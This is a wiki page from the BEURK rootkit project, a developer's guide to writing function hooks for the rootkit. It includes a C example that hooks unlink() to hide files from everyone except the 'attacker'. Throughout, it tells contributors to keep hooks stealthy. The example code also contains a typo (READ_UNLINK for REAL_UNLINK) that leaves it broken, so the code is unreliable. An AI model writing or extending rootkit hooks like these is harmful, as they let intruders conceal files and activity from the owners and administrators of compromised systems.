Skip to content
nil0x42 edited this page May 8, 2015 · 12 revisions

Developer's Guide

This guide provides best practices for writing code on BEURK rootkit.


Writing a new function hook

An hook is an homemade function which pretends to be the real function.

As the rootkit is mostly based on function hooking, a complete procedure is available to ease new hooks development.

Every hook must meet the following requirements:

  • A .c file in /src/hooks/<HOOKNAME>.c
  • A prototype in /includes/hooks.h
  • A dedicated unit test in /tests/core/hooks

Our hooks are defined in hooks.h, a C header file that our builder parses to write our config.h, and used during the compilation step. We have to parse the hooks.h file, to generate the list of REAL_HOOKS that will be used to call the real syscall in our config.h.

Prototype in hooks.h

The prototype must always specify the return type, followed by the real syscall name, separated by a single space. It must end with HOOKED, a macro defined earlier in the header file.

<return_type> <syscall>(args) _HOOKED;

Associated .c file

Every hook is done in its singular file. Every hook must call the real syscall when idenfying the attacker, and do whatever you want it to do otherwise, keeping stealth in mind. Our DEBUG macro is there for debugging purpose, and must be present in every hook.

Test suite

Each hook must be tested to assure that no breakage occurs, and to ensure stealthyness. Those tests must be placed in the tests/core/hooks directory.

Usage

Writing the hooked function prototype in /includes/hooks.h is very important, as each prototye of this header is parser by the builder, which generates an accessor on real functions.

Real function accessors can be accessed through the REAL_<uppercase-hookname> macro.

Example

In this example, we decide to write an hook for the unlink(2) function.

  1. Add the prototype on hooks.h
  • (append to /includes/hooks.h):

    #include <unistd.h>
    int unlink(const char *pathname) _HOOKED;

    NOTE: The _HOOKED macro tells the compiler that the function symbol must be visible, as the rootkit is compiled with -fvisibility=hidden option.

  1. Write the hook itself
  • (create an appropriate .c file, aka /src/hooks/unlink.c):

    #include <errno.h>
    
    int unlink(const char *pathname) {
        DEBUG(D_INFO, "unlink() hooked.\n");
    
        if (is_attacker())
            return READ_UNLINK(pathname);
    
    else if (is_hidden_file(pathname)) {
            errno = ENOENT;
            return -1;
        }
    
    return REAL_UNLINK(pathname);
    }

    NOTE: The REAL_UNLINK is an accessor to the real unlink function. It is generated by the BEURK's builder.

  1. Create a test for the hook

TODO

Clone this wiki locally